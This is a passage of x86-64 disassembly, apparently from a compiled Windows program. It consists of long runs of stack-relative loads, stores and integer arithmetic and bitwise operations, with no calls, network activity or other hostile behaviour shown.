mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0x77e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x74a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa990], rax
lea rax, [rsp + 0x114]
mov qword [rsp + 0xb368], rax
lea rax, [rsp + 0xe10]
mov qword [0x14017ae28], rax
mov rax, qword [rsp + 0x98c8]
movzx eax, word [rax]
movzx ecx, word [0x140179080]
or eax, ecx
mov rcx, qword [rsp + 0x6e78]
mov word [rcx], ax
movsx eax, word [rsp + 0x13d4]
movsx ecx, word [rsp + 0xdb4]
and eax, ecx
mov rcx, qword [rsp + 0x7fc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x264], al
mov rax, qword [rsp + 0x6fb0]
mov rcx, qword [rsp + 0x8690]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7730], rax
lea rax, [rsp + 0x434c]
mov qword [rsp + 0xb370], rax
mov rax, qword [rsp + 0x8c30]
mov ecx, dword [rsp + 0x43ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f30]
mov rax, qword [rax]
mov qword [rsp + 0xb378], rax
movzx eax, word [rsp + 0xe28]
mov rcx, qword [rsp + 0xa460]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa0b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a55c], al
mov rax, qword [0x14017a4f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sub eax, ecx
mov rcx, qword [rsp + 0x6f88]
mov byte [rcx], al
lea rax, [rsp + 0xc20]
mov qword [rsp + 0xb380], rax
movzx eax, byte [rsp + 0x259]
movzx ecx, byte [rsp + 0x14f]
add eax, ecx
mov rcx, qword [rsp + 0x8428]
mov byte [rcx], al
movzx eax, word [0x14017a698]
mov word [rsp + 0x148c], ax
mov rax, qword [rsp + 0x8e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9370], rax
mov rax, qword [rsp + 0x8b10]
mov ecx, dword [rsp + 0x444c]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x43d0], eax
lea rax, section..data
mov qword [rsp + 0xb388], rax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0xa6d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e38], rax
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0x1230]
shl eax, cl
mov rcx, qword [0x14017a5a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa9a0]
movzx eax, byte [rax]
mov byte [rsp + 0x265], al
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0xab10]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa8b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x148c]
movzx ecx, word [rsp + 0x1000]
or eax, ecx
mov rcx, qword [rsp + 0x7f80]
mov word [rcx], ax
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xb390], rax
mov rax, qword [rsp + 0x89d0]
mov rcx, qword [rsp + 0x83f0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8088], rax
lea rax, [rsp + 0x41dc]
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xab90]
mov rcx, qword [rsp + 0x9cf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa708], rax
lea rax, [rsp + 0x41ec]
mov qword [rsp + 0xb3a0], rax
lea rax, [rsp + 0x1434]
mov qword [0x14017ae30], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96b0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa178]
mov byte [rcx], al
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xc28]
sub eax, ecx
mov word [rsp + 0x10e0], ax
lea rax, [rsp + 0x6e]
mov qword [rsp + 0xb3a8], rax
mov rax, qword [0x14017a7e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7408]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1170], ax
mov eax, dword [rsp + 0x4440]
mov dword [rsp + 0x4450], eax
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [rsp + 0x7468]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92e0]
mov ecx, dword [rsp + 0x40a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x74b0]
mov dword [rcx], eax
lea rax, [rsp + 0xac70]
mov qword [rsp + 0xb3b0], rax
movzx eax, byte [rsp + 0x56]
movzx ecx, byte [rsp + 0x1d6]
add eax, ecx
mov rcx, qword [0x14017ab20]
mov byte [rcx], al
movsx eax, word [0x14017914c]
mov rcx, qword [rsp + 0x6b40]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe50], ax
movzx eax, byte [rsp + 0x19f]
mov byte [rsp + 0x266], al
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd30]
sub eax, ecx
mov rcx, qword [rsp + 0xa300]
mov word [rcx], ax
mov rax, qword [0x14017ac88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fc]
and eax, ecx
mov byte [rsp + 0x1e4], al
lea rax, [rsp + 0x4070]
mov qword [rsp + 0xb3b8], rax
mov rax, qword [rsp + 0xabc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7280]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c88], rax
lea rax, [rsp + 0x3c44]
mov qword [rsp + 0xb3c0], rax
mov rax, qword [rsp + 0x7120]
movzx ecx, al
mov rax, qword [rsp + 0x8b28]
shl rax, cl
mov qword [rsp + 0xadf8], rax
lea rax, [rsp + 0x1108]
mov qword [0x14017ae38], rax
mov rax, qword [0x14017a818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1d3], al
movzx eax, word [rsp + 0x1464]
mov word [rsp + 0x1490], ax
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x141]
sar eax, cl
mov rcx, qword [rsp + 0x8018]
mov byte [rcx], al
lea rax, [0x1401790ae]
mov qword [rsp + 0xb3c8], rax
mov rax, qword [rsp + 0x91c0]
mov ecx, dword [rsp + 0x430c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f1c]
mov dword [rsp + 0x4454], eax
mov rax, qword [rsp + 0xa5b8]
mov rcx, qword [rsp + 0x6bf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x81d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaaf8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad28]
mov qword [rcx], rax
lea rax, [rsp + 0xd08]
mov qword [0x14017ae40], rax
lea rax, [rsp + 0x75]
mov qword [rsp + 0xb3d0], rax
movsx eax, byte [rsp + 0x1e7]
movsx ecx, byte [rsp + 0x67]
add eax, ecx
mov byte [rsp + 0x21e], al
lea rax, [rsp + 0x114c]
mov qword [rsp + 0xb3d8], rax
movsx eax, word [rsp + 0x1128]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9518]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [rsp + 0x43b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4040], eax
mov eax, dword [rsp + 0x3c98]
mov dword [rsp + 0x4458], eax
mov rax, qword [rsp + 0xa1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ff8]
mov qword [rcx], rax
lea rax, [rsp + 0x9920]
mov qword [rsp + 0xb3e0], rax
movsx eax, word [rsp + 0x11c8]
movsx ecx, word [rsp + 0xfb4]
add eax, ecx
mov word [0x140179064], ax
movzx eax, byte [rsp + 0x13d]
movzx ecx, byte [0x14017a59f]
sub eax, ecx
mov byte [rsp + 0xc1], al
mov rax, qword [rsp + 0x8798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd2]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xa250]
movzx eax, word [rax]
mov word [rsp + 0x1494], ax
mov rax, qword [rsp + 0x85e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x262]
sub eax, ecx
mov byte [rsp + 0x1f5], al
lea rax, [rsp + 0x413c]
mov qword [rsp + 0xb3e8], rax
mov rax, qword [rsp + 0x9838]
movzx ecx, al
mov rax, qword [rsp + 0x7138]
shl rax, cl
mov qword [rsp + 0x9998], rax
mov rax, qword [rsp + 0x7038]
mov qword [rsp + 0xb3f0], rax
mov eax, dword [rsp + 0x3d70]
mov rcx, qword [rsp + 0x76c8]
mov qword [rsp + 0xb3f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3f8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xaab8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x104c]
movzx ecx, word [rsp + 0xcdc]
or eax, ecx
mov word [0x140179120], ax
mov rax, qword [0x14017a970]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f3]
xor eax, ecx
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0xa738]
movzx eax, byte [rax]
mov byte [rsp + 0x267], al
movsx eax, word [rsp + 0x10e0]
mov rcx, qword [rsp + 0xa7b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6be0]
mov word [rcx], ax
movzx eax, word [0x14017a758]
mov word [rsp + 0x1498], ax
mov rax, qword [rsp + 0x8b40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9798]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb2c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ee0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c50], rax
lea rax, section..data
mov qword [rsp + 0xb400], rax
mov rax, qword [rsp + 0x7788]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3dd0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e40]
mov dword [rcx], eax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0xb408], rax
mov rax, qword [0x14017ab68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x147c]
sub eax, ecx
mov word [0x1401791bc], ax
mov rax, qword [rsp + 0x7a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
sub eax, ecx
mov rcx, qword [rsp + 0x6c48]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x7f50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa9a0]
mov byte [rcx], al
movzx eax, word [rsp + 0xe14]
mov word [rsp + 0x149c], ax
mov eax, dword [rsp + 0x4098]
mov ecx, dword [rsp + 0x4248]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94a8]
mov rax, qword [rax]
mov qword [rsp + 0xb410], rax
mov rax, qword [rsp + 0x7af0]
mov ecx, dword [rsp + 0x41fc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9978]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xab30]
mov qword [rcx], rax
lea rax, [rsp + 0x71]
mov qword [rsp + 0xb418], rax
mov rax, qword [rsp + 0x7d80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa100]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017aa48]
mov byte [rcx], al
mov rax, qword [rsp + 0x7c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf20]
sar eax, cl
mov word [rsp + 0x1198], ax
movzx eax, word [0x140179058]
mov word [rsp + 0x14a0], ax
movsx eax, byte [rsp + 0xd3]
movsx ecx, byte [rsp + 0x17d]
shl eax, cl
mov rcx, qword [rsp + 0xa3c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9fb0]
mov qword [rsp + 0xb420], rax
mov rax, qword [rsp + 0x8c30]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x87a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7df0]
mov rcx, qword [rsp + 0xa3d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x71e8]
mov qword [rcx], rax
lea rax, [rsp + 0x4004]
mov qword [rsp + 0xb428], rax
mov rax, qword [rsp + 0x8aa0]
movzx eax, word [rax]
mov rcx, qword [0x14017a898]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
lea rax, [rsp + 0x237]
mov qword [0x14017ae48], rax
lea rax, [rsp + 0x24f]
mov qword [rsp + 0xb430], rax
movsx eax, word [rsp + 0x13d4]
mov rcx, qword [rsp + 0xb290]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9598]
mov word [rcx], ax
mov rax, qword [0x14017ac58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0x1d9], al
mov rax, qword [rsp + 0x7720]
mov qword [rsp + 0xb438], rax
mov rax, qword [rsp + 0xac58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ae8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa8f8], rax
lea rax, [rsp + 0x3c88]
mov qword [rsp + 0xb440], rax
mov eax, dword [rsp + 0x40bc]
mov ecx, dword [rsp + 0x3da8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2d0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc80]
mov rcx, qword [0x14017abd8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa930]
mov word [rcx], ax
mov rax, qword [rsp + 0x8090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xea4]
sub eax, ecx
mov word [0x1401790c0], ax
lea rax, [rsp + 0x1b7]
mov qword [rsp + 0xb448], rax
mov rax, qword [rsp + 0x8990]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13cc]
sub eax, ecx
mov rcx, qword [rsp + 0x9318]
mov word [rcx], ax
mov rax, qword [rsp + 0x79d8]
movzx eax, byte [rax]
mov byte [rsp + 0x268], al
movsx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0x7f90]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x128], al
mov rax, qword [rsp + 0x7f30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3cc0]
shl eax, cl
mov dword [rsp + 0x3c08], eax
lea rax, [rsp + 0xb220]
mov qword [rsp + 0xb450], rax
mov rax, qword [rsp + 0x9650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c20]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d60]
mov dword [rcx], eax
lea rax, [rsp + 0x94f0]
mov qword [rsp + 0xb458], rax
lea rax, [rsp + 0x1458]
mov qword [0x14017ae50], rax
movzx eax, word [rsp + 0x1030]
mov rcx, qword [rsp + 0x9e68]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1294], ax
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x269], al
movsx eax, word [0x1401791a4]
movsx ecx, word [rsp + 0x13bc]
and eax, ecx
mov word [rsp + 0xf74], ax
movsx eax, byte [rsp + 0xfa]
movsx ecx, byte [rsp + 0x201]
add eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
mov eax, dword [rsp + 0x4398]
mov dword [rsp + 0x445c], eax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x7958]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9340]
mov qword [rcx], rax
lea rax, [rsp + 0xa5f0]
mov qword [rsp + 0xb460], rax
mov rax, qword [rsp + 0xaec8]
mov rcx, qword [rsp + 0xae30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7098]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e8]
movzx ecx, byte [rsp + 0x16b]
add eax, ecx
mov byte [0x1401790ef], al
mov rax, qword [rsp + 0xa690]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x262]
sub eax, ecx
mov byte [rsp + 0x97], al
lea rax, [rsp + 0x117c]
mov qword [rsp + 0xb468], rax
movzx eax, word [0x140179048]
movzx ecx, word [rsp + 0xe7c]
and eax, ecx
mov word [rsp + 0x114c], ax
lea rax, [rsp + 0x1204]
mov qword [rsp + 0xb470], rax
mov rax, qword [rsp + 0x8248]
imul eax, dword [rax], 0x4ada
mov dword [rsp + 0x3ca4], eax
mov rax, qword [rsp + 0xa618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ce8], rax
lea rax, [rsp + 0x4370]
mov qword [rsp + 0xb478], rax
mov rax, qword [rsp + 0x8f68]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9998], rax
movzx eax, word [rsp + 0xef0]
mov rcx, qword [rsp + 0x90d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017a6f0], ax
lea rax, [rsp + 0x149]
mov qword [rsp + 0xb480], rax
mov rax, qword [rsp + 0x7d30]
movsx eax, byte [rax]
movsx ecx, byte [0x140179047]
sar eax, cl
mov rcx, qword [rsp + 0xa2d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9980]
movzx eax, byte [rax]
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0x8720]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd8]
xor eax, ecx
mov word [rsp + 0xfdc], ax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x42a4]
shl eax, cl
mov rcx, qword [rsp + 0x8770]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0x73b0]
mov rcx, qword [rsp + 0xaf10]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ec8], rax
lea rax, [rsp + 0x442c]
mov qword [rsp + 0xb490], rax
mov rax, qword [rsp + 0x9f88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e00]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14017a938], ax
movsx eax, byte [rsp + 0x168]
mov rcx, qword [rsp + 0xaa48]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa3a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa190]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x210], al
mov rax, qword [rsp + 0xa4f8]
movzx eax, word [rax]
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x7360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaa90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8418]
mov word [rcx], ax
mov rax, qword [rsp + 0xa610]
mov qword [rsp + 0xb498], rax
mov rax, qword [rsp + 0x7af8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0xb270]
mov ecx, dword [rsp + 0x3fe0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa620]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov dword [rsp + 0x4460], eax
lea rax, [rsp + 0x1368]
mov qword [0x14017ae58], rax
mov rax, qword [rsp + 0x9240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9e48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd0], al
lea rax, [rsp + 0xf98]
mov qword [rsp + 0xb4a0], rax
mov rax, qword [rsp + 0x7948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7010]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe48], ax
lea rax, [rsp + 0x85e0]
mov qword [rsp + 0xb4a8], rax
mov rax, qword [rsp + 0x9358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb438]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d80], rax
mov eax, dword [rsp + 0x42e8]
mov dword [rsp + 0x4464], eax
mov eax, dword [0x14017a4d0]
mov rcx, qword [rsp + 0x7c58]
mov qword [rsp + 0xb4b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8ec0]
mov dword [rcx], eax
lea rax, [rsp + 0x23d]
mov qword [0x14017ae60], rax
lea rax, [rsp + 0x1340]
mov qword [rsp + 0xb4b8], rax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6bf0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x230], al
movsx eax, byte [0x14017905f]
mov rcx, qword [rsp + 0x7fe8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x228], al
movzx eax, word [rsp + 0xe88]
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x8118]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf70]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa1f0]
mov qword [rcx], rax
lea rax, [rsp + 0x3ca4]
mov qword [rsp + 0xb4c0], rax
mov eax, dword [rsp + 0x425c]
mov ecx, dword [rsp + 0x435c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0d0]
mov rcx, qword [rsp + 0xafc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9138], rax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xce8]
sub eax, ecx
mov rcx, qword [0x14017a950]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1bf]
mov byte [rsp + 0x26b], al
movsx eax, word [rsp + 0xc18]
movsx ecx, word [0x140179084]
add eax, ecx
mov word [rsp + 0xfa4], ax
movzx eax, byte [rsp + 0x124]
mov byte [rsp + 0x26c], al
movsx eax, byte [rsp + 0x1b4]
movsx ecx, byte [rsp + 0x81]
sub eax, ecx
mov rcx, qword [rsp + 0xa3a0]
mov byte [rcx], al
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x73e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7308], rax
lea rax, [rsp + 0x3d7c]
mov qword [rsp + 0xb4c8], rax
mov rax, qword [rsp + 0x8ba8]
mov ecx, dword [rsp + 0x3fb4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fcc], eax
mov rax, qword [rsp + 0x7f78]
mov rax, qword [rax]
mov qword [rsp + 0xb4d0], rax
mov rax, qword [rsp + 0xac78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa518]
mov word [rcx], ax
mov rax, qword [rsp + 0x7838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb448]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a9f8]
mov byte [rcx], al
lea rax, [0x14017907b]
mov qword [rsp + 0xb4d8], rax
mov rax, qword [rsp + 0x9598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf94]
and eax, ecx
mov word [rsp + 0xe00], ax
movzx eax, byte [rsp + 0x116]
movzx ecx, byte [rsp + 0xc3]
xor eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x8c30]
mov eax, dword [rax]
mov dword [rsp + 0x4468], eax
mov eax, dword [rsp + 0x3f7c]
mov ecx, dword [rsp + 0x3cd0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x86e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7720]
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0x70c8]
mov rcx, qword [rsp + 0x8b90]
mov qword [rsp + 0xb4e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0x70e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11d0]
cdq
idiv ecx
mov rcx, qword [rsp + 0x6ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f00]
movzx eax, byte [rax]
mov byte [0x14017a6be], al
movzx eax, byte [rsp + 0x104]
mov byte [rsp + 0x26d], al
mov rax, qword [rsp + 0x82f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a8]
sar eax, cl
mov word [rsp + 0x1344], ax
lea rax, [rsp + 0x1230]
mov qword [rsp + 0xb4f0], rax
mov rax, qword [rsp + 0x7a98]
mov rcx, qword [rsp + 0x8480]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7300]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb0a8]
mov rcx, qword [rsp + 0xa498]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7050], rax
lea rax, [rsp + 0x3f68]
mov qword [rsp + 0xb4f8], rax
mov rax, qword [rsp + 0xafc8]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x78c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x87d0]
movzx eax, word [rax]
mov word [rsp + 0x14ac], ax
lea rax, [rsp + 0x228]
mov qword [0x14017ae68], rax
mov rax, qword [rsp + 0x9f00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ee]
sub eax, ecx
mov byte [rsp + 0x1da], al
movsx eax, byte [rsp + 0x1cf]
mov rcx, qword [rsp + 0xa6c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18d], al
lea rax, [rsp + 0xf14]
mov qword [rsp + 0xb500], rax
mov rax, qword [rsp + 0x7de0]
mov ecx, dword [rsp + 0x3eb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8580]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
mov dword [rsp + 0x446c], eax
mov rax, qword [rsp + 0x96e0]
mov rcx, qword [rsp + 0x8958]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7840], rax
lea rax, [rsp + 0x89e8]
mov qword [rsp + 0xb508], rax
movsx eax, word [0x14017916c]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7f18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x203]
movsx ecx, byte [rsp + 0x205]
add eax, ecx
mov byte [0x14017a55b], al
mov rax, qword [rsp + 0x8828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
sub eax, ecx
mov rcx, qword [rsp + 0x9360]
mov byte [rcx], al
lea rax, [rsp + 0x1004]
mov qword [rsp + 0xb510], rax
movzx eax, word [rsp + 0x1114]
mov rcx, qword [rsp + 0x77a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13dc], ax
lea rax, [rsp + 0x1070]
mov qword [rsp + 0xb518], rax
mov eax, dword [rsp + 0x4190]
mov rcx, qword [rsp + 0x8a78]
mov qword [rsp + 0xb520], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb520]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7908]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4224]
mov ecx, dword [rsp + 0x3e08]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2a0]
mov qword [rsp + 0xb528], rax
mov rax, qword [rsp + 0xb4e0]
movzx ecx, al
mov rax, qword [rsp + 0x8350]
shl rax, cl
mov rcx, qword [rsp + 0xa8b0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x8a]
movsx ecx, byte [rsp + 0x136]
xor eax, ecx
mov byte [0x1401790b3], al
lea rax, [0x140179180]
mov qword [rsp + 0xb530], rax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x47]
and eax, ecx
